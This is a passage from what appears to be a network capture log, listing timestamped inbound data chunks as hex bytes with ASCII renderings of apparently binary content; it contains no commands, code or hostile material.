2022-07-21 02:34:45 UTC	6678	IN	Data Raw: 37 d3 ad 2c 7d 41 ed 67 16 38 c6 6a 51 88 04 4a 18 d8 6b cb ac 37 5c bf 5b 7c 2c e3 aa e4 ba 46 e0 16 58 d4 3b 28 f6 79 79 f4 aa 44 78 9f 38 cb 15 6d 5a 81 bf ea f0 2f 9f 52 57 c1 5c 5c 3c bc 39 3a 4e 6b 1d 36 e2 e1 1f 89 6a 7b ba 55 3d 59 55 1b b9 34 65 25 76 8c db 40 ae 4d 2f 5f 4c 71 f3 6b 3b e5 33 f8 29 de b3 20 84 a4 31 b9 94 9b cb 91 b2 83 e4 8f ea 69 f1 cd 6b cc d4 58 b1 b1 a4 8a 8f 4b ea 77 a7 e8 d7 43 4a 9e 9d bb 36 7c 59 33 00 3d 28 88 56 3e ca 9f 2a 7a b5 52 aa d9 2e 3d 8f 3a c5 09 8e 58 eb 21 a5 ae 76 23 45 2b 3c b9 36 64 ae 54 33 bb 50 15 17 31 22 d3 e9 bb 44 83 1a 11 c0 c8 2e 66 06 b5 24 52 96 fb 8b eb d1 4b 6b 03 25 dc f4 e1 34 51 f4 f8 d3 d5 a7 87 82 3c f1 74 ca dc c6 41 cb f4 01 e6 d4 e1 60 9d ab 25 a3 63 2d 82 46 41 51 53 4d f9 57 53 47 Data Ascii: 7,}Ag8jQJk7\[\|,FX;(yyDx8mZ/RW\\<9:Nk6j{U=YU4e%v@M/_Lqk;3) 1ikXKwCJ6\|Y3=(V>*zR.=:X!v#E+<6dT3P1"D.f$RKk%4Q<tA`%c-FAQSMWSG
2022-07-21 02:34:45 UTC	6694	IN	Data Raw: 42 55 50 13 42 02 96 61 d4 b9 38 ae be de 15 d1 87 cc 6e 6e e7 24 90 84 8e 8a 49 2a 55 09 b6 9e 66 6f 7d db 46 17 cf 93 58 9d e6 78 e3 58 c9 5b 45 ab 73 28 2c 8a 0f dd 3e 84 de 04 8b 3f 25 b3 7f 32 cf 54 ea a8 ad 2d e0 bb e5 fe ae a4 e4 99 81 66 67 bc 39 2d 18 6a 84 36 dc 47 10 4a b4 96 24 ab e4 7b f4 b0 fe 76 04 b8 f2 67 66 ac 71 2b a2 b7 83 32 1f a3 c9 f1 68 b3 13 bf 31 57 2e 0c 5e df 19 40 e4 78 12 56 97 37 f7 d3 59 cf 2c 65 bd 51 3f dc e4 c8 01 81 68 a1 8e 86 c2 95 5b 80 b3 a9 23 7d 9c 9c da a1 f3 89 39 fd d1 66 90 44 58 85 50 c1 4a 00 0f 17 0d ab b7 07 0f ea 6a e3 6e 79 6e 39 b3 32 73 54 48 ae f7 15 a0 a9 f8 a3 66 bb 83 87 87 4e d5 c9 24 13 bb e2 aa ce ea ae 7a 85 d9 a5 0a a3 98 72 fc de 7b 74 68 d4 55 95 ba f5 06 83 c4 fb 75 4a cf 0e 4b 38 9f 81 9a Data Ascii: BUPBa8nn$I*Ufo}FXxX[Es(,>?%2T-fg9-j6GJ${vgfq+2h1W.^@xV7Y,eQ?h[#}9fDXPJjnyn92sTHfN$zr{thUuJK8
2022-07-21 02:34:45 UTC	6702	IN	Data Raw: 62 b4 0a b3 99 96 1b 9e c0 48 73 5b 6d ea f1 a2 59 c3 7d 9f 1e 85 5b aa d3 67 76 f9 72 6f 86 10 cc 2f 40 59 2f 2f ba f4 65 b6 4e 0e 9f 4d 24 44 b3 e7 47 7e 84 65 90 29 bb fa e4 c2 b0 e4 82 dd 30 c8 82 42 08 02 bc bf 2c 75 59 fd e7 93 dc d2 3f 9a 5d bb 7c 12 ac 6d 96 cc 8c 54 85 b1 6d 2b 42 5d 96 5e a7 db 3f 91 7f 7f 55 a5 f5 60 fd bb b0 63 50 bb 3b 4c 0d 40 b6 80 af f9 9c 5c cb ee ea 6f 65 d7 ec ad 4b d9 f1 24 64 48 1a 8e a8 2f 34 66 4b ab c3 74 9c 77 ff 00 15 e2 8f 53 f6 3e ef e5 1b 3a 11 8b 23 c5 77 52 30 68 48 5b 55 8d 79 a1 bb e6 59 fa 9a d7 9e 9a cf 24 0b 00 c5 d9 4d 9f 45 77 d6 ab 08 98 c9 b9 86 e7 7d 0a 3f 8a c1 14 38 61 71 a8 22 b4 a0 d2 ac ba 76 4c 81 5e 20 14 28 22 be 27 e1 d4 9e 31 23 c9 38 06 12 5c af d0 3e 9d 31 eb d8 98 c1 59 ac c8 69 23 04 Data Ascii: bHs[mY}[gvro/@Y//eNM$DG~e)0B,uY?]\|mTm+B]^?U`cP;L@\oeK$dH/4fKtwS>:#wR0hH[UyY$MEw}?8aq"vL^ ("'1#8\>1Yi#
2022-07-21 02:34:45 UTC	6718	IN	Data Raw: 80 9b 96 fa 35 35 37 05 6e 8e 56 e1 ad 23 d9 4f 6e 96 27 cc 2f fe df 32 0b 90 ab 0d c1 dc 6d aa d5 fd 46 72 71 67 c7 0a af 60 ae f4 ad 69 ee bf 0e 8d 13 a9 4b f4 e9 43 e5 3b 57 d9 aa 56 8b 8d 00 99 ba 6b 52 de 3a 9b 71 36 e1 f1 8b 1c 11 16 47 37 f8 11 40 46 a3 75 1b af 74 c4 e4 40 5a 8c 40 28 16 96 9a fb da 58 3d 79 2d 34 94 26 f0 49 1c 26 be 23 fe 5d 35 46 fb 6c 3f 98 99 60 80 06 2d 5a 86 34 5b 47 15 ee dc 5c 2b a7 47 5e 3c d5 0e e5 9a 8d 63 18 55 55 80 a5 80 2a 92 bc 12 d9 d2 5b 19 64 f7 b4 b1 9c 89 ec eb 75 5e a1 76 24 25 2b 6f 9b eb e9 e2 e4 33 1e 7c 31 10 b0 ad 8a c7 76 61 7c b4 3c 3c f6 a2 fe a2 69 62 6f 36 bd 3f 70 e9 b1 86 12 5e 10 28 28 b6 16 f7 b4 61 4e 03 7c ab 90 5e 03 d1 68 a4 f8 af d6 5f dc d2 bc aa 41 b2 f3 a7 b5 71 dd 9c 85 b6 d5 bb 87 61 Data Ascii: 557nV#On'/2mFrqg`iKC;WVkR:q6G7@Fut@Z@(X=y-4&I&#]5Fl?`-Z4[G\+G^<cUU*[du^v$%+o3\|1va\|<<ibo6?p^((aN\|^h_Aqa
2022-07-21 02:34:45 UTC	6734	IN	Data Raw: a2 fb 47 9b 4c f2 47 7f 29 22 54 b8 a0 5e 6a e9 68 fa 70 ca 14 51 7d be d0 7c 34 c6 36 72 25 6a 00 7c 3c 36 df 4a c4 fc c3 8b 2b 3f 09 d9 8f 88 fa 7e 0d 46 27 1c ca 79 71 80 0e d5 24 78 1d e9 a7 82 79 2e 4b e5 d5 c8 2c c0 0a 9d 86 da a5 7a 61 4b 47 c7 b8 f6 68 31 d6 53 40 6d a1 fd 1f bd a9 46 1b 33 3c c8 5d ec 90 28 e5 26 c7 35 e0 57 5b 7e db a7 a5 85 26 14 8d 9c 02 6a 09 34 d5 62 c2 33 b6 e0 1a 7b 0e e6 84 fa b4 f1 58 e8 c9 7a 50 35 0f b4 8d 2b 0b 1d 67 bb 72 e5 dc 01 4a 9e 21 a7 21 b7 04 a8 8c 37 24 1a 56 9e 3a 58 8b 07 8f bd 18 4b ac 7d 4b 09 f0 34 3b f9 ae f7 b5 17 92 bc 69 99 23 2f 12 c9 93 55 0d c6 82 d1 69 04 58 fc 3c 97 e9 6e 33 df 3e 1b 18 47 1e c9 e4 0d 1c 75 36 31 37 28 1e 48 db a5 c4 9c 5e bd 2d 3f ad f0 56 7c ae bb 87 96 d6 0a 6b 43 51 76 fe Data Ascii: GLG)"T^jhpQ}\|46r%j\|<6J+?~F'yq$xy.K,zaKGh1S@mF3<](&5W[~&j4b3{XzP5+grJ!!7$V:XK}K4;i#/UiX<n3>Gu617(H^-?V\|kCQv
2022-07-21 02:34:45 UTC	6742	IN	Data Raw: 66 9e 60 1a 3b 5d 48 a9 01 a8 76 f8 b4 aa 2f 70 46 8a 74 63 1d 8c b6 6d 47 e6 f8 34 8b 60 b1 42 32 22 63 18 2c 54 54 8a 85 a7 c3 1d bc 5f af aa 4d 78 67 2b 8b 66 a5 6b ed fa 7c af a0 be 59 c5 86 6c b6 48 a2 72 b5 6a 51 46 fe 3e ad 40 ea e3 bd c6 18 5a 52 6f ad 7c b4 1e cf 7f e1 e7 d3 1c e8 0a 71 b1 c0 95 a2 0c a3 72 5a 41 5a ff 00 09 22 f2 fc 7a 15 96 84 88 5e b3 a8 94 47 4a a5 1c 6c 0f 0f 13 7d 5d 0a be 3c 7f 6b 63 1d d5 48 e3 36 f1 72 83 6f fa 9c da 13 ba e4 58 93 30 69 90 ad b5 14 37 0b cb 7f 96 bc 7a ad 17 a7 31 54 a3 9e ba 33 29 a8 06 be 04 79 b4 f4 ed df 4c e4 62 4d 02 dd 2a af 12 dc 3c c2 84 da 97 d9 77 37 bf a5 a3 9e a5 f4 29 82 1c 68 ca 87 59 5c a1 50 14 51 56 a3 f6 ad d4 e8 dd 4c 78 99 28 c7 7f eb d5 c6 9a f4 31 75 49 2e c4 7d 27 c7 4c 5b 8d 32 Data Ascii: f`;]Hv/pFtcmG4`B2"c,TT_Mxg+fk\|YlHrjQF>@ZRo\|qrZAZ"z^GJl}]<kcH6roX0i7z1T3)yLbM*<w7)hY\PQVLx(1uI.}'L[2
2022-07-21 02:34:45 UTC	6758	IN	Data Raw: c5 c9 5b 6d 35 50 3d 37 b6 aa 72 27 3a 99 d6 69 01 4f 03 23 78 57 f4 f1 6a be 5b 66 1e c4 c1 7e e3 23 47 8e 40 58 48 24 b3 6d 5f b3 46 55 5d 4d 67 7a f9 9e 5c cc 92 78 c3 ae 51 65 92 a2 c5 2a 78 81 36 b7 4d b4 43 e6 4f c1 8c 6e c9 38 b9 5c 18 b2 5b 91 5c db e1 cd c6 8d c0 fd 3d 16 a7 ed 56 3c 38 70 a0 5c 41 22 c8 55 0d c8 f5 17 b3 57 ab d0 f3 aa 72 27 1e b2 b5 9f d6 dd 5a ed 82 6e df 0c 62 65 1f 2e be df 2b 8e ab 46 d2 af 0a f0 7d de b0 bc dd 67 d6 5a 8b 1f 78 97 2d e4 ee 08 15 42 b1 09 1a 28 50 a8 a3 97 83 8b cf ad e3 5e b9 ff 00 2b e7 3b 87 45 a7 79 62 ea 49 24 a0 30 1e 99 3c cb fe 5a 6b 69 5b 73 b8 7f 13 b1 e4 4b 8e a4 40 24 91 a5 15 7e ae ce 9c ce b1 f2 aa ff 00 16 4d 2b 53 7f 64 8b d9 d3 0c 15 86 15 65 8a 12 d5 b6 35 a8 b4 0e 97 13 b5 fc 5c 76 47 ac Data Ascii: [m5P=7r':iO#xWj[f~#G@XH$m_FU]Mgz\xQe*x6MCOn8\[\=V<8p\A"UWr'Znbe.+F}gZx-B(P^+;EybI$0<Zki[sK@$~M+Sde5\vG
2022-07-21 02:34:45 UTC	6774	IN	Data Raw: 7b 34 8f 45 c3 9e c2 48 00 ec 2b 53 a4 9e a3 8d 96 d2 48 5a 4d c9 3e cd 3c 3f 9f 02 8c 86 94 5a 2b 42 6b a5 89 c1 bf 39 d3 15 1e 35 a8 a6 db 1e 1f e8 9a 58 9f 93 59 08 93 81 6a 84 7b 14 25 9e 1c 3f 6e d2 af af 49 9c b8 93 2c f2 c4 c0 48 4d 07 86 fe cd 5b a2 49 5e 96 51 2a da 40 25 47 b3 4f 0a 4c 01 91 e3 fa 46 85 ee b2 de f7 8e 8c 31 23 df 61 ff 00 1d 2a 54 75 94 93 c5 e2 7c 49 d0 9b 0d 49 19 68 f6 b8 9d ea c0 7b 34 92 f6 14 4b 3c 65 4d 14 8a 92 ec 69 44 5e 26 6b 7c da 0f af 0a b9 99 11 64 95 93 18 04 0a 05 3a 8d 73 31 a7 9b 87 85 7d 09 ac eb 39 33 d9 4c a8 e4 ee 12 ab 14 aa ca d4 b0 1b 55 9d 78 5e df 46 9c 98 73 c3 39 30 63 2c 16 e4 09 22 75 24 22 aa 0a 37 a5 3a ea fc bf e9 df a6 72 ff 00 03 4e 81 15 18 86 59 14 0a 25 16 d4 f3 f3 5d 75 ed a9 a8 37 f9 7b Data Ascii: {4EH+SHZM><?Z+Bk95XYj{%?nI,HM[I^Q@%GOLF1#aTu\|IIh{4K<eMiD^&k\|d:s1}93LUx^Fs90c,"u$"7:rNY%]u7{
2022-07-21 02:34:45 UTC	6781	IN	Data Raw: 77 93 cf aa c3 f9 cf 64 73 15 23 21 27 0c 24 50 c1 c1 1e 04 1e 1d 5c 69 3f a3 18 e5 e6 8c b9 b9 d5 00 aa 93 ec d1 82 f8 0e 2e e5 d2 75 11 ad 28 4d 45 4f ec f9 b4 f0 ef 3a a7 8a d1 45 18 c5 e8 17 32 15 ac a5 49 64 04 fd df 27 4b eb ea 6b 3b e7 ca 84 7f ca ab 90 ee 44 a6 18 01 61 f3 2d 32 7b 97 c5 7a 22 5f fe 66 a7 e9 1f f2 63 e7 8a 9c 57 04 50 da 4e f4 a8 34 e1 d6 92 eb 7d d7 a6 cb 13 c8 65 65 1c 47 d8 29 4d bc ab a6 73 9c 6f 1f 2d e0 52 23 e1 0d b5 7d b4 f3 69 15 9a 1c f2 2b 9a ed 53 e2 47 b7 4c e1 7a 16 f0 f6 6a 96 24 38 d2 64 c8 22 88 12 c6 bb 0d ce c2 ed 22 b7 04 8e 4d 81 a5 7c 34 b1 36 0c 1d 64 04 50 d3 c4 ed a4 9f 40 48 14 56 a7 db b7 f5 1d 35 41 28 f2 0f 1f 66 d5 1e cd 05 e8 21 19 02 ad b8 ad 06 8d 56 9e 58 63 48 84 b1 82 58 a3 5c 19 e8 45 a2 f9 27 Data Ascii: wds#!'$P\i?.u(MEO:E2Id'Kk;Da-2{z"_fcWPN4}eeG)Mso-R#}i+SGLzj$8d""M\|46dP@HV5A(f!VXcHX\E'
2022-07-21 02:34:45 UTC	6797	IN	Data Raw: e2 69 07 0d 43 16 34 b5 2f 4f ba 5f 7f 53 51 72 54 ae e5 16 47 6b 7a ba 74 c5 4a 92 29 69 db a7 e5 f5 ae b4 e5 af 16 74 9f 12 f4 c5 f1 1b 95 cd 01 1e 56 af 9b 54 d2 8a 7a 4a 09 a1 27 6f 1f e9 e6 d0 8f 25 cc 6c 18 10 2a 3c 74 2b 5f 47 d8 5a 04 90 4d 2b 8e af 4d 84 54 62 ad d5 fb 9e a3 2f d8 eb 3e 9c fd e9 0c c3 0c 11 18 20 ab 16 70 ec cc a2 a0 d3 89 15 db 8f 9f fe ae 9c 69 36 f9 4f a0 02 d0 4d 6b ed d5 34 8e 42 2b 28 27 73 5f a2 bf b3 a6 28 f3 60 bc 5b 3d 45 6b b1 fd 1a 9d 29 d0 90 e0 36 40 16 03 23 11 40 16 9c 24 71 33 48 bc ed 62 68 d4 de b0 a9 43 7d c0 10 0d 69 fd 5a 6a d5 18 72 8c 78 dd 12 ed 6a 92 42 03 44 ab f3 f0 af de 6a 2c d4 5f 34 2b 84 8b 47 52 c7 7b 49 6e 21 fe 2d 10 3d 00 64 8c 33 f1 22 15 21 49 da be 75 b3 d6 fa 67 43 ca 42 18 b3 21 44 62 4a Data Ascii: iC4/O_SQrTGkztJ)itVTzJ'o%l*<t+_GZM+MTb/> pi6OMk4B+('s_(`[=Ek)6@#@$q3HbhC}iZjrxjBDj,_4+GR{In!-=d3"!IugCB!DbJ
2022-07-21 02:34:45 UTC	6813	IN	Data Raw: a9 6a 5d d1 8b 8b e5 c7 c4 b1 f5 35 09 fa 8e cf dc fb 8c 79 0e dd df 11 27 0e a2 14 a1 a4 75 fc 55 9e e7 83 ab fc 4e 0b 35 55 73 3f 0c e5 e0 2e 5e 74 43 2c 2a 39 06 c7 47 eb f0 46 38 a1 91 a1 6f 9d 91 fc 47 d2 cb 0a ef 25 7b e7 e6 04 27 19 64 59 44 ae 03 aa a8 47 e0 fb 2b 55 f8 57 ea e9 f2 5c d4 74 ed 53 4a d4 0e 02 af 80 6a a3 02 3e ed d1 b9 5b e0 d7 44 a7 69 a6 fe 5f c2 8c c5 8f 99 32 b4 51 48 f9 12 22 f3 33 51 11 31 55 39 fe 67 4f 57 3b c1 3b fe 13 73 dd b3 a7 6c b9 45 43 70 86 3e 0a 00 e1 81 51 79 12 0f bb e0 d2 b4 e7 8f 0c e0 42 55 e8 41 b4 83 76 f4 14 f2 b7 eb 6a 6a 7a a2 a3 43 13 5d 3d 64 aa 95 61 b0 5e 21 e4 ba ff 00 fa 9a 93 7a 78 e4 62 71 c3 08 83 6e 63 04 30 aa d2 d7 e1 e1 93 54 9d c2 99 70 31 66 8c b1 16 f8 1a 6d aa 8b 97 f2 95 24 a7 60 e6 be Data Ascii: j]5y'uUN5Us?.^tC,*9GF8oG%{'dYDG+UW\tSJj>[Di_2QH"3Q1U9gOW;;slECp>QyBUAvjjzC]=da^!zxbqnc0Tp1fm$`
2022-07-21 02:34:45 UTC	6821	IN	Data Raw: c0 c6 40 a4 a8 37 16 24 0d 82 db cd c3 a7 a3 4d e3 c7 d0 01 5d 81 4b 6a 18 78 2d da ce 97 b3 e9 74 9c 44 6e be 6f 66 fe 9f 8b 59 d2 90 da 23 3c 4d 1a 15 a0 21 ad 6a 7b 2d e5 f7 b5 20 46 cb 84 a5 e5 59 0e fe 03 73 e9 d4 e0 ca 4e 1e e3 8b 8b 2d f9 03 a8 ac a4 a8 6e 05 56 4f 52 fd e2 7e 2e ab e5 59 4e de 25 41 30 60 59 55 5a 3b 3c 80 95 6f af cd f0 6a 73 13 e9 94 95 92 c7 4a 84 26 b4 23 82 9e 9f 4e 8a 6c e5 c5 1c 6a 19 f6 b4 55 40 3b 5a 4d e9 6e a7 47 d3 c2 27 7a 48 bb 00 4b 28 1b 1f 57 26 9a 35 a9 67 69 16 02 8d 63 b5 47 b2 ee 13 c3 ef 72 70 59 a6 73 f2 d2 a5 bd 59 57 ed 08 2a 05 01 55 da d5 b3 41 1d c2 c8 89 a2 8d 22 1f 6b b3 11 b1 0f 4e 9d da 47 9f c9 95 ed d5 f9 ef 57 99 85 0a 7b 3c 6e 91 fd ee 1d 45 a7 a0 cf 92 91 24 89 8e a0 b2 02 40 27 70 a0 af 07 c2 Data Ascii: @7$M]Kjx-tDnofY#<M!j{- FYsN-nVOR~.YN%A0`YUZ;<ojsJ&#NljU@;ZMnG'zHK(W&5gicGrpYsYW*UA"kNGW{<nE$@'p
2022-07-21 02:34:45 UTC	6837	IN	Data Raw: a8 8c 5b 7f 6d 4f b3 e1 d4 eb 3d 32 92 95 8e c5 05 41 5e 23 fd 5c ba 8a 8c 6c b4 aa 10 05 6b 18 5c 83 c6 bb f3 7e ce 91 78 29 2c 15 0e e3 84 a8 df 7a ef 5f 77 57 2a e5 76 34 2c 44 d9 11 3b 41 e0 08 a8 1b 73 7c cd 3d 57 fd 1d cd 38 f1 91 f9 29 2e 26 9b 59 4f 13 c8 af f7 96 7a b4 41 3c fb 24 d2 16 62 1f 86 be d3 aa 56 3c 8a 0a da 06 e0 f8 fe 8d 21 44 55 47 5a 80 41 27 42 77 18 9e 46 8b e5 d4 6e 07 86 85 73 e5 d1 27 01 15 3f 45 3d 9a 06 05 29 32 6e 6a 2a 74 2b 31 57 b7 1c 32 55 32 c1 14 3c 4c a7 88 0f 75 39 75 35 87 5b f8 50 59 e2 eb 11 83 44 5d d5 2e 06 ff 00 f3 3a b7 fd a3 eb 3c 67 97 f2 99 f9 89 e0 72 e9 23 23 13 42 54 fe b7 2e 9e 35 f9 95 42 2e e6 d9 31 2e 2c 29 0c 74 00 09 58 95 72 7c ce d2 f2 33 4b a3 19 de 73 cd 2b 15 61 60 f3 1b 19 1e 80 f8 85 60 7d Data Ascii: [mO=2A^#\lk\~x),z_wWv4,D;As\|=W8).&YOzA<$bV<!DUGZA'BwFns'?E=)2njt+1W2U2<Lu9u5[PYD].:<gr##BT.5B.1.,)tXr\|3Ks+a``}
2022-07-21 02:34:45 UTC	6853	IN	Data Raw: 00 20 f0 f8 d4 6a 6d 2a cf 72 66 e9 2c 71 f3 c8 d4 0d 53 b7 fe 64 d5 72 5c fb 23 93 3c 93 a8 b6 ca db 69 2a 80 6e b7 2f cb 6f 4e b7 8a 93 12 e7 c3 b0 ab 11 46 23 8b fa cf a6 dd 68 d2 57 72 31 d5 1c 0d ec 01 43 6e 36 f8 74 14 a2 96 c5 39 01 56 3e 15 df 88 da 4e de 6e 2d 05 e7 0a cd 22 12 4a ee c6 9e 1e 1a 78 72 30 43 1e 52 00 ae e3 48 da 31 79 54 50 ec 42 9d d9 ab e8 55 d0 9d 66 0c f6 82 70 e1 01 64 24 32 b0 d8 f9 19 59 75 56 69 de 7c 31 9f 95 1c d3 99 31 e3 e9 a8 e5 5a 93 4f 79 9f d5 a7 39 57 33 c7 92 f9 32 ac ac 1e 3e 0d b7 17 57 7f 56 af 0e 4c 01 55 a3 71 22 f3 82 08 3a a5 ea 86 3f 76 99 a7 e0 66 57 62 02 15 6b 05 c7 83 e6 37 3d 8d ac ef 28 bc 49 1a c8 cb 85 9c 47 3d e1 14 01 6a 9f 03 5f 99 cd fb 3a 99 c9 49 7f 04 a5 c9 88 3b 2e 34 7c 0d b0 ea 10 cc 3e Data Ascii: jmrf,qSdr\#<in/oNF#hWr1Cn6t9V>Nn-"Jxr0CRH1yTPBUfpd$2YuVi\|11ZOy9W32>WVLUq":?vfWbk7=(IG=j_:I;.4\|>
2022-07-21 02:34:45 UTC	6861	IN	Data Raw: d3 c7 27 86 8b 68 62 38 59 97 d7 a7 17 26 3d db b3 3f 2f 30 99 d8 30 53 40 a4 da cc 3d 09 e7 4f 7b 46 0e e6 c5 48 3f 98 b3 62 11 86 9d cd 58 b0 89 49 54 46 ab 2a f1 37 0d 8d 7f cc f7 35 19 ac ef 12 81 37 f3 13 2d 55 c4 2f 3c 7c 21 ad a3 11 e5 b6 df 96 dd 3d 1f 07 3f 5a d6 27 76 6e dd 8a 20 c4 74 5e a0 52 c3 6a 3c 96 ad d1 5c c9 c1 f5 f5 9d 9a ca f3 b7 c9 5c fe db 93 94 7a d8 98 7c 40 03 72 bb 39 00 7a 21 ea 49 7a 79 b8 22 d5 73 57 cf 53 d5 a4 d7 b3 44 4b 26 6b 84 92 c2 e1 4c 72 86 a8 fc 2f 95 cf f1 a5 9a bf a5 fd 7f 1f fe 28 7f 98 8e 35 54 a3 1e a2 d1 95 d5 54 57 9b 99 16 fb d7 4b 74 ac 31 da fb ae 42 2a b1 91 93 1e 39 2e 51 6f 13 3a fd cb cb c3 2f 47 45 88 ef 99 ff 00 90 ff 00 98 4c c9 de 6c 66 e8 48 56 84 20 04 b5 4d bc 72 5c 96 7f f5 35 19 51 99 ef fb Data Ascii: 'hb8Y&=?/00S@=O{FH?bXITF757-U/<\|!=?Z'vn t^Rj<\\z\|@r9z!Izy"sWSDK&kLr/(5TTWKt1B9.Qo:/GELlfHV Mr\5Q
2022-07-21 02:34:45 UTC	6877	IN	Data Raw: 3a 2e 7a b5 dc ac 7c 8c b8 0c 80 11 21 1c 04 db 1a b6 fc 68 b7 1b ff 00 5f 44 a2 59 2a 29 ec 79 8a 43 ca f0 06 a8 e1 0e 19 87 a6 e8 a3 e1 d6 db 1b ff 00 c9 16 5f 2b 31 a1 10 f7 7c 5b ec 53 42 c0 32 91 5e 75 b7 ec 3e 3e 4d 45 f1 e6 31 c9 bf db 4a e2 b6 7e 4c a4 e1 c2 17 1f 61 c0 aa 9e 3f 75 7d cb e5 fd 7d 1a bb 92 79 2d 95 da 73 a3 98 ae 3a 3d 03 56 92 01 68 6f 8f ec 5b 46 ab 9e e6 79 31 91 93 f9 65 71 72 ca cf 40 ea 2b 45 23 cc bf 77 c3 a3 13 26 ba 93 41 91 f6 e1 58 b1 dd 9c f1 5b 4f c3 f2 69 58 59 67 a1 33 b2 b0 af 11 63 f4 ca d0 83 2a 5c a9 ee 46 97 70 70 fc 1a 52 09 cd fc a2 be 64 33 80 d2 03 1b 8f 02 3f c5 ad 71 ae 58 2c 10 c6 a6 f9 d8 ca cc 7c 01 f0 f7 99 b4 ac 2b 7f 8f ed 36 ec b2 c8 a9 14 20 43 4a 1a 0a d0 fa ac 7e 7d 4a 3f eb 47 9b b1 be 6a f5 e6 Data Ascii: :.z\|!h_DY)yC_+1\|[SB2^u>>ME1J~La?u}}y-s:=Vho[Fy1eqr@+E#w&AX[OiXYg3c\FppRd3?qX,\|+6 CJ~}J?Gj
2022-07-21 02:34:45 UTC	6893	IN	Data Raw: c6 33 c4 4e e4 1d 8d da 58 73 9d 1a 55 99 21 08 2a 1c da 59 40 fa df de d2 13 cd 66 1c 5f ce c8 ec 41 e9 ad 28 80 d1 89 26 cf 37 26 9e 8b fd a2 c7 81 3b 31 88 c5 50 8b c4 08 aa 2f d7 4d 2d 4d ea 7b 72 48 73 16 22 04 75 89 14 95 0d b5 a6 b7 7c bf 34 9a 25 1b 35 c8 ed cd 0b 1f 4c b9 b7 88 f2 d3 f8 7f b3 f2 f4 51 7c 79 55 cd c7 c4 ee 6e 5b 18 d8 b0 db 58 df db ea 58 ee f7 f9 d7 59 ee 23 9b 79 f1 5d 0d 22 16 79 95 61 8c 0e 23 5f 1d b8 95 3a 7c dc 3a 7b a3 c7 e0 24 ee b8 d1 35 f1 b3 29 b8 81 6e c5 d5 c5 cd c6 dc f6 fe 16 97 c9 5e 6d 12 0e e4 f3 48 d2 05 53 1c 6a 6a 7c 6e a7 22 fc 52 72 7b 9a 5f 07 f3 84 5b 2f 2e 7c 76 58 cb 5a 05 e4 11 e6 53 ca 8f f0 6a a4 5e 48 0f 5b 23 31 15 a7 57 58 cd c4 90 2d 26 bf b1 fe 3d 3e a4 8a c9 1f 57 95 db f0 f3 22 92 5e dc a5 63 Data Ascii: 3NXsU!*Y@f_A(&7&;1P/M-M{rHs"u\|4%5LQ\|yUn[XXY#y]"ya#_:\|:{$5)n^mHSjj\|n"Rr{_[/.\|vXZSj^H[#1WX-&=>W"^c
2022-07-21 02:34:45 UTC	6901	IN	Data Raw: cc 8c 98 63 86 18 e1 c7 48 d0 80 c4 b1 24 b3 f2 4d d5 f9 97 d9 a3 da 24 fe 6b e6 7b a3 83 39 58 78 a3 ad 2e f0 07 f5 f9 75 b4 75 71 3c 79 62 19 46 3b 51 4d 7c 77 1b 1f 77 4f d9 d9 a7 1b 39 e5 8e 8b bb 91 56 62 37 56 f2 c7 13 f9 17 53 8c fe 70 94 2d 57 ac c0 95 1b 9d 52 ef f4 15 9d 23 25 a2 5a 1f 1d ff 00 c1 a4 59 be da 62 a5 8b f9 9b 7d bd 9a 31 30 d6 36 73 24 61 0b 70 8f 01 f4 fb da 58 9b c9 81 dc 22 45 05 25 62 e6 a0 8a 6d fa da 8b c9 7c ef e1 e9 f2 b1 25 53 71 e3 a6 ca ab e2 74 e7 25 39 b1 2b 22 7d ed 50 51 0f 94 eb 4c 6d 22 a7 6c 22 f0 cc a7 a6 db 1f 65 47 99 75 9f 4c bb 3b dd 21 c1 88 75 71 52 34 41 4f 97 46 35 3f 5a eb fd f7 d4 4b a8 e6 db ed 33 23 bb cd 34 95 55 55 22 9b 2a da 35 a4 8d 67 eb 91 88 33 a4 90 95 32 30 27 6a 1f 0f 8b 45 87 66 0b 92 99 Data Ascii: cH$M$k{9Xx.uuq<ybF;QM\|wwO9Vb7VSp-WR#%ZYb}106s$apX"E%bm\|%Sqt%9+"}PQLm"l"eGuL;!uqR4AOF5?ZK3#4UU"*5g320'jEf
2022-07-21 02:34:45 UTC	6917	IN	Data Raw: 52 78 7f ea 6a 3e c4 e8 fc b9 69 88 55 03 75 04 2d b3 30 ad 4d 3a 76 f5 79 1f d1 a8 f3 59 e6 83 93 dd dd 6a bd bd 9f 7f 00 00 b5 7f 1a f5 7e 1f d8 d3 9c 1f cf fa 92 ff 00 29 8f 92 86 f5 91 dc 55 9d 90 d1 51 8f 9b ce 9a d6 78 3d b1 c4 ba 59 97 21 c0 76 55 b5 4b 30 00 85 e1 fd 7f 8b 4f d2 bf 18 7e 7f e5 de eb 2a 25 22 28 18 94 e9 a3 28 62 94 e0 92 c9 2d e0 f2 6a 3e e1 e6 16 4e db 97 81 d5 79 11 8e 45 b4 57 50 5b 6a 5b f2 d7 d3 e7 79 64 d5 4e a7 e1 9f 57 7c 11 c7 30 d5 a6 9d 1a 57 6f 68 5e 50 3e f1 7f f3 ea f5 77 7d 46 27 48 b1 a3 e9 e4 28 67 af cb 03 85 97 cf 73 b2 f3 2f 1e 9c 54 bb e9 8c 52 f9 6f 48 ed 57 60 18 16 f0 5d ed 6e 1e 2e 4d 57 a1 d7 81 e4 ed b8 d0 52 59 24 66 6b 41 62 aa 00 dc f2 7b 9a 5f 65 3a b4 ce 40 c1 ca 31 fe 6c 58 b4 06 dd d6 a2 97 5e cb Data Ascii: Rxj>iUu-0M:vyYj~)UQx=Y!vUK0O~*%"((b-j>NyEWP[j[ydNW\|0Woh^P>w}F'H(gs/TRoHW`]n.MWRY$fkAb{_e:@1lX^
2022-07-21 02:34:45 UTC	6933	IN	Data Raw: 6d 69 fe 1f 2e 99 fc 8d 18 9f 24 58 b7 4a 1b 70 17 d6 bc 29 7d df 77 a9 a8 b9 16 21 cc 6e c9 49 54 75 27 90 91 7b 30 1d 36 06 c9 a4 c4 58 38 a1 8d 97 83 e6 fd a6 b3 b7 59 67 d7 83 38 f9 91 f7 49 12 6e e2 e2 e2 5b c2 20 cd 23 ff 00 9c bc 6e 89 a8 b3 11 d4 bc fa 42 ee 38 67 1b 39 8b 0e 94 2c 4b 2b 03 55 2a 39 5a 3f f0 6b 59 e9 b7 37 67 fa 8d 4b 87 1f 75 b5 5e 42 a5 08 55 6e 9f 39 6e 24 46 b5 ee ea fc 7a 9f ac 29 6f 29 12 e2 e4 e3 cc 71 7a 6c 26 8f 76 4f 6d 07 12 c8 ad e6 bb dc d6 dc f9 9a da 59 66 85 17 18 2e d5 db c3 fa c9 e5 6d 33 ae e4 9e 